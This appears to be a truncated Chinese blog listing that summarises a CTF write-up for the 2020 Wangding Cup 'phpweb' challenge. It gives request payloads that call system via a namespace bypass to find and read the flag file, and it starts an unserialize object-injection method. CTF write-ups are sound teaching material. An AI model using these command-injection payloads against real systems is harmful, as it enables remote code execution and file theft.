2020年5月18日
[网鼎杯2020朱雀组]Web部分wp
摘要： phpweb 姿势1命名空间绕过。 func=\\system p=find / -name flag* func=\\system p=cat /xx/flag 姿势2序列化 buu群里和大佬学到还可以用反序列化 func=unserialize&p=0:4:"Test":2:{s:1:"p";s 阅读全文
posted @ 2020-05-18 03:02 何止(h3zh1) 阅读(1507) 评论(0) 推荐(0) 编辑